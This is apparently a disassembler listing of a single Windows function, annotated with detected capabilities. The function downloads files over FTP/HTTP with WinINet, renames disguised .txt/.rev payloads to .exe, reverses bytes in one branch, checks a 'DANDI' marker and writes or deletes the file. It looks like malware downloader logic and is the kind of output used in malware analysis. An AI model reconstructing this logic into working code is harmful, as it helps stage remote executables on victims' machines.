Function at 0x4028d0
Capabilities:
Connect to http server
Create http request
Delete file
Download and write a file
Get file size
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x406913
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x450
push ebx
push ebp
push esi
push edi
mov edi, ecx
lea eax, [esp + 0x470]
lea ecx, [esp + 0x18]
push eax
mov dword [esp + 0x46c], 0
call sub.MFC42.DLL_CString::CString_2
push 0x409e74
lea ecx, [esp + 0x20]
mov byte [esp + 0x46c], 1
call sub.MFC42.DLL_CString::CString_1
push 0
push 0
push 0
mov ebx, 2
push 0
push str.FptD
mov byte [esp + 0x47c], bl
mov byte [esp + 0x27], 0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ecx, dword [esp + 0x474]
mov esi, eax
lea eax, [ecx - 1]
cmp eax, 4
ja case.default.0x40295c
jmp dword [eax*4 + 0x403060]
mov edx, dword [0x409d1c]
mov eax, dword [0x409d20]
mov ecx, dword [0x409d24]
push 0
push 0
push 1
push edx
push eax
push 0x15
push ecx
push esi
call dword [sym.imp.WININET.dll_InternetConnectA]
test eax, eax
jne 0x4029ca
lea ecx, [esp + 0x1c]
mov byte [esp + 0x468], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov byte [esp + 0x468], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x470]
mov dword [esp + 0x468], 0xffffffff
call sub.MFC42.DLL_CString::CString
xor al, al
jmp 0x403043
mov edx, dword [esp + 0x18]
push 0
push 0x4000002
push 0x80000000
push edx
push eax
call dword [sym.imp.WININET.dll_FtpOpenFileA]
mov ebp, eax
jmp 0x402d29
push 0x409d24
lea eax, [esp + 0x54]
push str.http:__
push eax
call sub.MFC42.DLL_operator_2
push 0x409470
lea ecx, [esp + 0x4c]
push eax
push ecx
mov byte [esp + 0x474], 3
call sub.MFC42.DLL_operator_1
lea edx, [esp + 0x470]
mov byte [esp + 0x468], 4
push edx
push eax
lea eax, [esp + 0x44]
push eax
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x46c], 5
call fcn.004062e8
lea ecx, [esp + 0x3c]
mov byte [esp + 0x468], 4
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x48]
mov byte [esp + 0x468], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x50]
mov byte [esp + 0x468], bl
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x18]
push 0
push 0x80000000
push 0xffffffffffffffff
push 0
push ecx
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebp, eax
jmp 0x402d29
push 0x409d24
lea edx, [esp + 0x48]
push str.http:__
push edx
call sub.MFC42.DLL_operator_2
push 0x409470
push eax
lea eax, [esp + 0x64]
mov byte [esp + 0x470], 6
push eax
call sub.MFC42.DLL_operator_1
lea ecx, [esp + 0x470]
lea edx, [esp + 0x34]
push ecx
push eax
push edx
mov byte [esp + 0x474], 7
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x46c], 8
call fcn.004062e8
lea ecx, [esp + 0x34]
mov byte [esp + 0x468], 7
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x5c]
mov byte [esp + 0x468], 6
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x44]
mov byte [esp + 0x468], bl
call sub.MFC42.DLL_CString::CString
mov eax, dword [esp + 0x18]
push 0
push 0x80000000
push 0xffffffffffffffff
push 0
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
push str..txt
lea ecx, [esp + 0x18]
mov ebp, eax
call sub.MFC42.DLL_CString::CString_1
mov ecx, dword [esp + 0x14]
mov byte [esp + 0x468], 9
push ecx
lea ecx, [esp + 0x474]
call sub.MFC42.DLL_CString::Find
mov edx, dword [esp + 0x14]
push str..exe
push edx
lea ecx, [esp + 0x478]
call sub.MFC42.DLL_CString::Replace
lea ecx, [esp + 0x14]
mov byte [esp + 0x468], bl
call sub.MFC42.DLL_CString::CString
jmp 0x402d29
push 0x409d24
lea eax, [esp + 0x3c]
push str.http:__
push eax
call sub.MFC42.DLL_operator_2
push 0x409470
lea ecx, [esp + 0x50]
push eax
push ecx
mov byte [esp + 0x474], 0xa
call sub.MFC42.DLL_operator_1
lea edx, [esp + 0x470]
mov byte [esp + 0x468], 0xb
push edx
push eax
lea eax, [esp + 0x5c]
push eax
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x46c], 0xc
call fcn.004062e8
lea ecx, [esp + 0x54]
mov byte [esp + 0x468], 0xb
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x4c]
mov byte [esp + 0x468], 0xa
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x38]
mov byte [esp + 0x468], bl
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x18]
push 0
push 0x80000000
push 0xffffffffffffffff
push 0
push ecx
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
push str..rev
lea ecx, [esp + 0x18]
mov ebp, eax
call sub.MFC42.DLL_CString::CString_1
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x470]
push edx
mov byte [esp + 0x46c], 0xd
call sub.MFC42.DLL_CString::Find
mov eax, dword [esp + 0x14]
push str..exe
push eax
lea ecx, [esp + 0x478]
call sub.MFC42.DLL_CString::Replace
lea ecx, [esp + 0x14]
mov byte [esp + 0x468], bl
call sub.MFC42.DLL_CString::CString
jmp 0x402d29
push 0x409d24
lea ecx, [esp + 0x28]
push str.http:__
push ecx
call sub.MFC42.DLL_operator_2
push 0x409470
lea edx, [esp + 0x30]
push eax
push edx
mov byte [esp + 0x474], 0xe
call sub.MFC42.DLL_operator_1
lea ecx, [esp + 0x470]
lea edx, [esp + 0x40]
push ecx
push eax
push edx
mov byte [esp + 0x474], 0xf
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x46c], 0x10
call fcn.004062e8
lea ecx, [esp + 0x40]
mov byte [esp + 0x468], 0xf
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x2c]
mov byte [esp + 0x468], 0xe
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x24]
mov byte [esp + 0x468], bl
call sub.MFC42.DLL_CString::CString
mov eax, dword [esp + 0x18]
push 0
push 0x80000000
push 0xffffffffffffffff
push 0
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebp, eax
mov dword [esp + 0x474], ebx
test ebp, ebp
jne 0x402d64
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x2ee3
mov dword [esp + 0x28], eax
jne 0x402fc9
lea ecx, [esp + 0x58]
lea edx, [esp + 0x60]
push ecx
lea eax, [esp + 0x2c]
push edx
push eax
mov dword [esp + 0x64], 0x400
call dword [sym.imp.WININET.dll_InternetGetLastResponseInfoA]
jmp 0x402fc9
cmp dword [esp + 0x474], 5
jne 0x402d81
lea ecx, [esp + 0x470]
push ecx
lea ecx, [esp + 0x20]
call fcn.004062e8
jmp 0x402db7
lea edx, [esp + 0x470]
lea eax, [esp + 0x24]
push edx
push eax
mov ecx, edi
call fcn.004054c0
push eax
lea ecx, [esp + 0x20]
mov byte [esp + 0x46c], 0x11
call fcn.004062e8
lea ecx, [esp + 0x24]
mov byte [esp + 0x468], bl
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x1c]
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0x2c], edi
jne 0x402dee
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x28], eax
jmp 0x402fc9
cmp dword [esp + 0x474], 4
jne 0x402ec3
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push esi
call sub.MFC42.DLL_operatornew
push esi
mov dword [esp + 0x1c], eax
call sub.MFC42.DLL_operatornew
add esp, 8
lea edx, [esp + 0x20]
mov esi, eax
lea eax, [esp + 0x60]
push edx
push 0x400
push eax
push ebp
mov dword [esp + 0x34], esi
xor ebx, ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x402e81
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x14]
mov eax, ecx
lea esi, [esp + 0x60]
lea edi, [ebx + edx]
lea edx, [esp + 0x60]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x20]
add ebx, ecx
lea ecx, [esp + 0x20]
push ecx
push 0x400
push edx
push ebp
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x402e3c
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x2c]
xor eax, eax
test ebx, ebx
jbe 0x402e9b
mov ecx, dword [esp + 0x14]
lea ebp, [ebx + ecx - 1]
mov dl, byte [ebp]
mov byte [eax + esi], dl
inc eax
dec ebp
cmp eax, ebx
jb 0x402e8f
lea eax, [esp + 0x30]
push 0
push eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [esp + 0x14]
push ecx
call sub.MFC42.DLL_operatordelete
push esi
call sub.MFC42.DLL_operatordelete
add esp, 8
jmp 0x402fba
mov esi, dword [sym.imp.WININET.dll_InternetReadFile]
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x64]
push 5
push eax
push ebp
call esi
test eax, eax
je 0x402fba
lea ecx, [esp + 0x60]
push str.DANDI
push ecx
mov byte [esp + 0x6d], 0
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x402f8d
lea edx, [esp + 0x20]
lea eax, [esp + 0x60]
push edx
push 0x400
push eax
push ebp
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x402f47
mov eax, dword [esp + 0x20]
test eax, eax
je 0x402f47
lea ecx, [esp + 0x30]
push 0
push ecx
lea edx, [esp + 0x68]
push eax
push edx
push edi
call ebx
lea eax, [esp + 0x20]
lea ecx, [esp + 0x60]
push eax
push 0x400
push ecx
push ebp
call esi
test eax, eax
jne 0x402f19
call dword [sym.imp.MSVCRT.dll_rand]
mov esi, eax
and esi, 0x8000003f
jns 0x402f5c
dec esi
or esi, 0xffffffc0
inc esi
push 0x409d08
lea ecx, [esp + 0x18]
add esi, 7
call sub.MFC42.DLL_CString::CString_2
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x30]
push 0
push edx
push esi
push eax
push edi
call ebx
lea ecx, [esp + 0x14]
mov byte [esp + 0x13], 1
call sub.MFC42.DLL_CString::CString
jmp 0x402fba
mov edx, dword [0x409d08]
lea ecx, [esp + 0x60]
push ecx
push edx
push str.uid:_s_d_verification_failed___s_
push 0x409b68
call sub.MFC42.DLL_CString::Format
add esp, 0x10
mov ecx, 0x409c70
push 0x409b68
call fcn.00406010
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [esp + 0x13]
test al, al
jne 0x403006
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x1c]
mov edx, dword [0x409d08]
push eax
push ecx
push edx
push str.uid:_s_dnl_failed_file___s__deleted__d_
push 0x409b68
call sub.MFC42.DLL_CString::Format
add esp, 0x14
mov ecx, 0x409c70
push 0x409b68
call fcn.00406010
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x1c]
mov byte [esp + 0x468], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov byte [esp + 0x468], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x470]
mov dword [esp + 0x468], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov al, byte [esp + 0x13]
mov ecx, dword [esp + 0x460]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x45c
ret 8